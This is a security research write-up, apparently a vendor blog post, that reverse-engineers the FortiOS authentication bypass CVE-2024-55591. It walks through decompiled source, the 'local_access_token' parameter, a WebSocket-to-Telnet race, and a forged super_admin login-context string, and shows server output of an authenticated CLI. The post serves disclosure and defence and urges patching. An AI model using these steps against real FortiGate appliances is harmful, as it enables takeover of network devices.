Get FortiRekt, I Am The Super_Admin Now - Fortinet FortiOS Authentication Bypass CVE-2024-55591
Welcome to Monday, and what an excitingly fresh start to the week we're all having.
Grab your coffee, grab your vodka - we're diving into a currently exploited-in-the-wild critical Authentication Bypass affecting foRtinet's (we are returning the misspelling gesture 🥰) flagship SSLVPN appliance, the FortiGate.
Imagine please that we inserted a meme here about the typical function of a gate and how it seems that word now means something different
As we're sure others have been, we've been aware of rumours for many weeks+ now circulating a critical zero-day vulnerability affecting FortiOS products. Fortinet supposedly privately informed its customer base about the severity of the situation before publication/patches were released.
As always though, because secrecy is what this industry thrives on, details emerged from Arctic Wolf’s article before Fortinet had a chance to throw together an advisory where they find someone to blame for product security issues, which explains parts of the campaign, including pre to post-exploitation activities and IoCs.
Despite the insight gained from Arctic Wolf’s work, little was shared in terms of the actual vulnerability.
Regardless, what we could glean was that the vulnerability resided within the jsconsole
functionality, which is a GUI feature to execute CLI commands inside FortiOS’s management interface.
Specifically, the weakness in this functionality allowed attackers to add a new administrative account. This sounded curious to us mere mortals, because typically subsequent to an auth bypass you have all the privileges you would need and thus our eyebrows raised when reading the IoC list.
For those who have been spared a deep dive of SSLVPNs previously, and are wondering “what the heck is jsconsole
" (you lucky people), here’s what the jsconsole
looks like:
As you can see, it’s a WebSocket-based, web console to the appliances’ CLI.
This CLI is all-powerful, since it is effectively the same as the actual provided CLI that is used by legitimate administrators to configure the device. Without asking the audience to suck eggs, it is hopefully fairly obvious that if an attacker gains access to this interface, the appliance itself should be considered compromised.
Fortinet managed to publish their advisory for CVE-2024-55591, containing a little more information:
An Authentication Bypass Using an Alternate Path or Channel vulnerability [CWE-288] affecting FortiOS and FortiProxy may allow a remote attacker to gain super-admin privileges via crafted requests to Node.js websocket module.
Please note that reports show this is being exploited in the wild.
Now we have something to work with - an idea of which component is affected, and the range of affected versions.
From here, we can fetch ‘patched’ and ‘vulnerable’ versions, patchdiff, and it should be easy, right?
(spoiler: it’s not)
The file system
As you may recall from previous FortiGate adventures, a decrypted FortiGate’s rootfs.gz
looks pretty much like this:
bin.tar.xz
boot
data
data2
dev
etc
fortidev
init
lib
migadmin.tar.xz
node-scripts.tar.xz
proc
rootfs
sbin
sys
tmp
usr
usr.tar.xz
var
It doesn’t take an inspired researcher to see this quick list of files and think, ‘huh, node-scripts.tar.xz
, is it possible that this is related to the “Node.js websocket module” mentioned within the advisory?’.
Atleast, that’s what we thought, and so we used the /sbin/xz
binary to extract a small collection of node-related files:
/ssl-vpn
/ssl-vpn/provision-user
/ssl-vpn/provision-user/qr_codes
/index.js
/f85a0baf050df19d250a479301fcbc0f.node
/logs
/report-runner
/report-runner/lang
/report-runner/sfas
/9f7fd545476a9e07af2abe8a61bcdb01.node
The job so far (minus the character-building journey we went on with regards to file-system encryption) is beginning to sound fairly straightforward - but no, that would be wrong.
We’re quick to realize at this point that the core code for the Node.js component resides with index.js
, which comes in at a whopping 53,642 lines of JavaScript code—yuck.
While it's nice to have source code, we want to move quickly and don't have time to play 'cosplay-as-a-sast-tool' to figure out what's going on. At the same time, our other advanced techniques like grepping for the word "websocket" within the script yielded hundreds of results - helpful?
Well, we decided to play pentester for a bit, and poke around the FortiGate UI with our favourite web proxy looking for WebSocket requests and getting a better feel for how routing was set up.
Loading up jsconsole
and just browsing through the system - we soon observed WebSocket connections to /ws/events
and /ws/cli/open
:
If we re-read the original article, which details the actions the threat actors carried out, there are references to this CLI being used in-the-wild during the attack - and combined with the advisory discussing Node and WebSockets - it looks like we’re honing in on the buggy code.
Using appliance logs and other sources of intuition, we can use the strings we observed in our WebSocket traffic to find the correct part of that huge Node source file we pulled off the appliance earlier.
This time, we can find references to how WebSockets are routed within the dispatch()
function.
We’ve dropped right into the logic that handles authentication. Let’s give it a close look.
Here, we can see a tantalising comment - ‘Convert admin session into CLI login context’.
This is converting a session in the appliance's web UI into a session that is used by the console itself - ie, the jsconsole
CLI. What’re the odds that, somehow, this conversion is mismanaged, and it’s possible to obtain a session from nothing?
If you recall, this CLI is the ‘management crown jewels’ as far as management of the appliance goes, and thus getting a real session with the ability to execute privileged commands seems like a logical, and ideal outcome.
Deep dive into authentication flow
Looking at the code above, though, before our session is ‘converted’, there’s a pesky this._getSession();
call.
This function, as you’d expect, ensures that the user is logged into a valid session on the appliance and isn’t just some naughty hacker trying their luck.
Let’s take a close look at it:
async _getSession() {
const isConnectionFromCsf = this.request.headers['user-agent'] === CSF_USER_AGENT &&
this.localIpAddress === '127.0.0.1';
let isCsfAdmin = false;
let session;
if (!isConnectionFromCsf) {
// Get admin session the traditional way.
session = await webAuth.getValidatedSession(this.request,
{authFor: 'websocket', groupContext: this.groupContext});
[...Snipped...]
}
} else {
[...Snipped...]
return {session, isCsfAdmin};
}
We have to give a warning at this point before we proceed; as seen above and in the next couple of code blocks, there are all sorts of references to hardcoded headers and unique values that can be used. All of which… are red herrings. We spent a lot of time here - that (and story for another time..) we believe was not wasted - but isn't relevant for CVE-2024-55591 today.
Right at the top of the function, there’s an all-important variable, isConnectionFromCsf
, which dictates the flow of the authentication.
Since we aren’t connecting from 127.0.0.1
, isConnectionFromCsf
gets set to false, and the first part of the if
stanza is evaluated.
This calls the function getValidatedSession
, and the journey continues.
Going further, we can see there are a few different ways of authenticating - API tokens, auth bearers, and other flows that you'd expect.
Before our eyes completely bled dry from reading server-side JavaScript, we painstakingly scrutinized each one, looking for weaknesses that may have been the hint we were looking for.
Unfortunately, all seemed to validate user input correctly.
async getValidatedSession(request, options = {}) {
const { authFor } = options;
const authToken = await this._extractToken(request);
let session = null;
[...Snipped...]
if (!session) {
// Try and retrieve session from REST API
session = await this._getAdminSession(request,
[...Truncated...]
So, what happens if all attempts to authenticate fail?
We end up in that if (!session)
logic, which then calls this._getAdminSession()
, as a last-ditch attempt to get a session.
If this._getAdminSession
returns a valid session object, then authentication is considered successful, and the request is allowed to proceed - meaning the user can get to that all-important CLI.
Perhaps there’s a way to trick this._getAdminSession
? Let’s take a closer look at its innards.
async _getAdminSession(request, options = {}) {
const { headers, url } = request;
const query = querystring.parse(url.replace(/.*\\?/, ''));
const localToken = query.local_access_token;
const cookie = headers[':cookie'] || headers.cookie;
const apiKey = !cookie ? await this._extractToken(request) : null;
const authParams = ['monitor', 'web-ui', 'node-auth'];
const remoteIpAddress = request.socket.remoteAddress.replace(/^::ffff:/, '');
let authParamsFound = false;
let isFgfmReq = false;
[...Snipped...]
if (isFgfmReq) {
this._logger.info('FGFM request detected.', {groupContext: options.groupContext});
authParams.push(this._createFgfmFetchOptions(request));
authParamsFound = true;
} else if (cookie || apiKey) {
if (apiKey) {
authParams[authParams.length - 1] += `?${SYMBOLS.API_KEY_PARAM}=${apiKey}`;
}
authParams.push(this._createFetchOptions(request, options.vdom));
authParamsFound = true;
} else if (localToken) {
authParams[authParams.length - 1] += `?local_access_token=${localToken}`;
authParamsFound = true;
}
if (!authParamsFound) {
this._logger.warn('No authorization headers found. Authentication failed.',
{groupContext: options.groupContext});
return null;
}
try {
this._logger.warn('Sending authentication request to REST API.',
{groupContext: options.groupContext});
return await new ApiFetch(...authParams);
Things are getting even more interesting here.
Can you spot the vulnerability? Remember that our goal is to continue down the function call and return some valid data to instantiate the session
variable.
Halfway through this function, just before !authParamsFound
, which returns us null
, is an interesting else if (localToken)
that sets authParamsFound
to true. There is no value check; it is just a check to see if some kind of value if present.
This is the one we mean:
else if (localToken) {
authParams[authParams.length - 1] += `?local_access_token=${localToken}`;
authParamsFound = true;
}
Some searching reveals to us that localToken
is actually created way earlier, plucked from the URL querystring parameter local_access_token
.
This is one of the rare instances in the code where we can control the variable and proceed into the try/catch
block at the end of the function, ultimately reaching ApiFetch()
.
try {
this._logger.warn('Sending authentication request to REST API.',
{groupContext: options.groupContext});
return await new ApiFetch(...authParams);
} catch (e) {
this._logger.warn(`Failed to authenticate user (${e}).`,
{groupContext: options.groupContext});
return null;
}
A quick recap
Before we move on, there is a lot of (interesting) code here, but in reality, there are actually only a few relevant points. Let's walk through it.
Firstly, we’ve found that if we set the mysterious local_access_token
query string parameter when logging in, the authentication flow via ApiFetch()
will perform an HTTP call to a localhost-bound interface on the appliance in order to find out if we have a valid session.
We can actually verify this using the debug commands on the appliance itself, by enabling all debug messages for the ‘node’ application which are sent to the console:
diagnose debug enable
diagnose debug application node -1
If we attempt to access the /ws/cli/
endpoint to get access to the CLI, but have no valid session, we see the following on the console indicating that authorization was not successful:
[node Web Authentication - 1737868423 warn] - No authorization headers found. Authentication failed.
[node WebSocket - 1737868423 error] - Authorization failed. Closing websocket.
However, if we add the local_access_token
query string parameter, we can see different log entries generated:
[node Web Authentication - 1737868440 warn] - Sending authentication request to REST API.
[node CLI WebSocket - 1737868440 info] - CLI websocket initialized.
[node CLI WebSocket - 1737868440 info] - CLI connection established.
The ‘REST API’ referenced is the ApiFetch
connecting on the localhost interface.
Okay, still with us? We’re heading back into the code!
ApiFetch’s payload
So, we’ve followed the trail all the way to ApiFetch
, which hits the localhost-bound API.
If we do some sleuthing, we find that ApiFetch
is intended to return a JSON object, containing the role and permissions of the authenticated user.
{
"http_method":"GET",
"results":{
"admin_name":"admin",
"login_name":"admin",
"login_vdom":"root",
"profile":{
"name":"super_admin",
"q_origin_key":"super_admin",
"scope":"global",
"comments":"",
"secfabgrp":"read-write",
"ftviewgrp":"read-write",
"authgrp":"read-write",
"sysgrp":"read-write",
"netgrp":"read-write",
"loggrp":"read-write",
"fwgrp":"read-write",
"vpngrp":"read-write",
"utmgrp":"read-write",
"wanoptgrp":"read-write",
"wifi":"read-write",
"netgrp-permission":{
[...Truncated...]
}
Returning to the original code for dispatch()
it is now evident that we’re eventually instantiating the class CliConnection()
which is quite big but we’ll snip the dull parts and summarise it.
Once again, heed our warning for CVE-2024-55591, there's a lot of misdirection in the form of suspicious code and unobvious avenues present:
class CliConnection {
constructor(ws, request, options, groupContext) {
const args = [
`"${request.headers['x-auth-login-name']}"`,
`"${request.headers['x-auth-admin-name']}"`,
`"${request.headers['x-auth-vdom']}"`,
`"${request.headers['x-auth-profile']}"`,
`"${request.headers['x-auth-admin-vdoms']}"`,
`"${request.headers['x-auth-sso'] || SYMBOLS.SSO_LOGIN_TYPE_NONE_STR}"`,
request.headers['x-forwarded-client'],
request.headers['x-forwarded-local']
];
const csfAuth = request.headers['x-auth-csf'];
this.ws = ws;
this.options = options;
this.groupContext = groupContext;
this.logInfo('CLI websocket initialized.');
const cli = this.cli = connect({
port: 8023, host: '127.0.0.1',
localAddress: '127.0.0.2'
});
this.logInfo('CLI connection established.');
this.expectedGreetings = /Connected\\./;
this.loginContext = args.join(' ');
[...Snipped...]
ws.on('message', msg => cli.write(msg));
cli.setNoDelay().on('data', data => this.processData(data));
[...Snipped...]
if (data) {
const ws = this.ws;
if (this.expectedGreetings) {
// hold login until server greeting
if (data.toString().match(this.expectedGreetings)) {
this.logInfo('Parsed expected greeting');
this.expectedGreetings = null;
// don't echo login context
this.telnetCommand(CMD.DONT, OPT.ECHO);
this.logInfo('Sending login context');
// send login context
cli.write(`${this.loginContext}\\n`);
this.setup();
}
return;
}
ws.send(data);
}
[...Truncated...]
Before explaining the code, let's be clear: none of the values passed to this class are controllable. It may look like they are, but they aren't 😀.
So, let's summarise this code in the context of a real user:
- A user clicks the CLI button in the GUI of the management interface
- This class
CliConnection
is instantiated - A WebSocket connection is established between the user's browser and the Node.js server (
this.ws = ws
) - A Telnet connection is established between the server and localhost port 8023 (
this.cli = connect(..
) - This Telnet connection is proxied through the WebSocket
ws.send(data);
If we look at the logs of our connection during a successful authentication, we can see this output detailing the sequence:
[node Web Authentication - 1737869130 warn] - Sending authentication request to REST API.
[node CLI WebSocket - 1737869130 info] - CLI websocket initialized.
[node CLI WebSocket - 1737869130 info] - CLI connection established.
[node CLI WebSocket - 1737869130 info] - Sending resize command (cols=162, rows=37)
[node CLI WebSocket - 1737869130 info] - Parsed expected greeting
[node CLI WebSocket - 1737869130 info] - Sending login context
[node CLI WebSocket - 1737869130 info] - Sending VDOM commands
[node CLI WebSocket - 1737869130 info] - Connection terminated by CLI.
When creating a WebSocket upgrade request, several sequential events occur:
- Making the Telnet connection,
- Resizing its window,
- Sending a "login context" (the value of
this.loginContext
), and, then, - Sending VDOM commands (occurs in
setup()
of the referenced code above)
At this point, we thought we were already creating a successful connection without supplying any authentication material and that the exploit was completed. Unfortunately, though, looking through the logs, we found that a successful connection wasn’t established, and we’re unable to receive data from the server.
What's going wrong?
Well, before the server sends the this.loginContext
variable value, it waits for a signal from the CLI process over Telnet in the form of a message defined in this.expectedGreetings
; which is equal to “Connected.
".
It then proceeds with the normal sequence of Telnet commands -
- Resizing the "window",
- Sending some default commands, and
- Finally, accepting input from the admin.
During this initial period, however - when the server is waiting for Connected.
- the function to send and receive messages over WebSocket from the client browser to the CLI Process over Telnet has already been established:
ws.on('message', msg => cli.write(msg));
cli.setNoDelay().on('data', data => this.processData(data));
Is this the vulnerability in the form of a race condition?
It looks like we're able to send data over the WebSocket to the CLI process, before the server processes it’s initialisation sequence.
More importantly, we’re interested in this line:
cli.write(`${this.loginContext}\\n`);
At this point, you might wonder what loginContext
is and if it can be imitated to authenticate the Telnet session to the CLI Process.
While we could do lots of work to follow the code in the Node.js to work out how it works, or get an active shell on the appliance to debug, we're lazy - so we instead opted to edit this line in memory to dump its contents to the CLI log.
To do this, we changed the line to:
this.logInfo(`${this.loginContext}\\n`);
Subsequently, looking back at the logs as we walk through the process again, the value of this.loginContext
from our upgraded request shows the following:
"Local_Process_Access" "Local_Process_Access" "root" "" "" "none" [192.168.1.179]:54145 [192.168.142.132]:80
Throwing together some Python, we wrote a quick/dirty script to create a WebSocket upgrade request and then instantly send this message to authenticate to see if we could trigger unexpected behaviour in this race, but we were met with a new error we hadn’t seen before:
Upgrade response: HTTP/1.1 101 Switching Protocols
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Accept: qJ180PUWh8TuhgsJK6MyZg9WvkM=
Decoded: b'Bad args to CLI process.\\r\\n'
This “Bad args” error message is nowhere to be found within the Node.js application but is, in fact, a part of the monolithic /bin/init
binary via sub_200F000
:
if ( (unsigned int)sub_200E100(
v17,
(_DWORD)a2,
(unsigned int)&v54,
(unsigned int)&v53,
(unsigned int)&v58,
(unsigned int)v63,
(__int64)v64,
(__int64)v65,
(__int64)&v55) )
{
fwrite("Bad args to CLI process.\\n", 1uLL, 0x19uLL, stderr);
exit(1);
}
We’re getting somewhere!
The evidence is strong; we're interacting with the CLI Process through the Telnet Connection, but our values are incorrect.
Now, we need to see what a real connection looks like.
By logging in natively through the browser as the default user admin
, the output from this.logincontext
is :
"admin" "admin" "root" "super_admin" "root" "none" [192.168.1.179]:53893 [192.168.142.132]:80
Ah yes, these values look full of entropy.
If you look closely, you can find the answers to questions like:
- Where is the password?
- Where is some kind of token?
Quickly adapting this into our Python script and brute forcing connections with our attempt to race condition, we’re able to successfully establish a WebSocket which authenticated to the CLI Process through Telnet:
Output from server: �m"watchTowr" "admin" "watchTowr" "super_admin" "watchTowr" "watchTowr" [13.37.13.37]:1337 [13.37.13.37]:1337
Output from server: �
None
Output from server: �~FAKESERIAL # "Local_Process_Access" "Local_Process_Access" "root" "" "" "none" [192.168.1.1]:55493 [172.31.29.138]:443
Unknown action 0
FAKESERIAL #
We’re authenticated!
We can even see the echo from the follow-up command sent by Node.js as it tries to authenticate using the Local_Process_Access
loginContext
.
By adjusting our script, we can send our own follow-up commands such as get system info
.
Output from server: �m"watchTowr" "admin" "watchTowr" "super_admin" "watchTowr" "watchTowr" [13.37.13.37]:1337 [13.37.13.37]:1337
Output from server: �
get system status
Output from server: �~FAKESERIAL # "Local_Process_Access" "Local_Process_Access" "root" "" "" "none" [192.168.1.1]:55680 [172.31.29.138]:443
Unknown action 0
FAKESERIAL #
FAKESERIAL # get system status
Version: FortiGate-VM64-AWS v7.0.16,build0667,241001 (GA.M)
Security Level: High
Firmware Signature: certified
[...Truncated...]
Boom - just like that, CVE-2024-55591 is replicated — and there appear to be a couple of vulnerabilities rolled into one.
This vulnerability matches up with the IoCs released by Arctic Wolf and Fortinet.
Anyone running the affected versions should patch immediately, and follow the advice in Fortinet's PSIRT https://www.fortiguard.com/psirt/FG-IR-24-535.
PoC and Conclusion
This has been a grinding journey for us, with twists, turns and misdirections all over the place, slowing our progress, but the fruit is there.
This vulnerability isn’t "just" a simple Authentication Bypass but a chain of issues combined into one critical vulnerability. To summarise this vulnerability in a digestible format, four important things are happening:
- A WebSocket connection can be created from a pre-authenticated HTTP request.
- A special parameter
local_access_token
can be used to skip session checks. - A race condition in the WebSocket → Telnet CLI allows us to send authentication before the server does.
- The authentication which is raced by us contains no unique key, password or identifier to establish a user. We can just pick an choose our access profile (super_admin it is!).
While reversing this, we identified several other issues, which we’ve reported to Fortinet.
Don’t worry—they appear to be patched (not clear if purposeful or inadvertent), although we’re unsure which CVEs they’re attributed to since Fortinet has yet to respond to our emails.
In fairness - it's most likely they’re extremely busy. In January, we observed several other issues patched in this advisory grouping, so it’s no surprise there’s more beneath the surface—especially in a monolithic Node.js application handling such critical functionality.
We recently released a detection script to identify vulnerable instances, as our "we promise we're nice people" gesture.
Industry leaders have adopted this mechanism to assess the prevalence of the vulnerability, with our friends at Shadowserver reporting nearly 50,000 vulnerable instances across the Internet, we once again urge all those utilising the affected versions to act quickly and patch!
Although the detection script merely detected the ability to create WebSockets on a FortiGate, which aligns with changes pre and post-patching of CVE-2024-55591, we did notice those who doubted the efficacy of this mechanism (presumably while drooling).
So, to put this nonsense to rest we’re releasing our Detection Artifact Generator: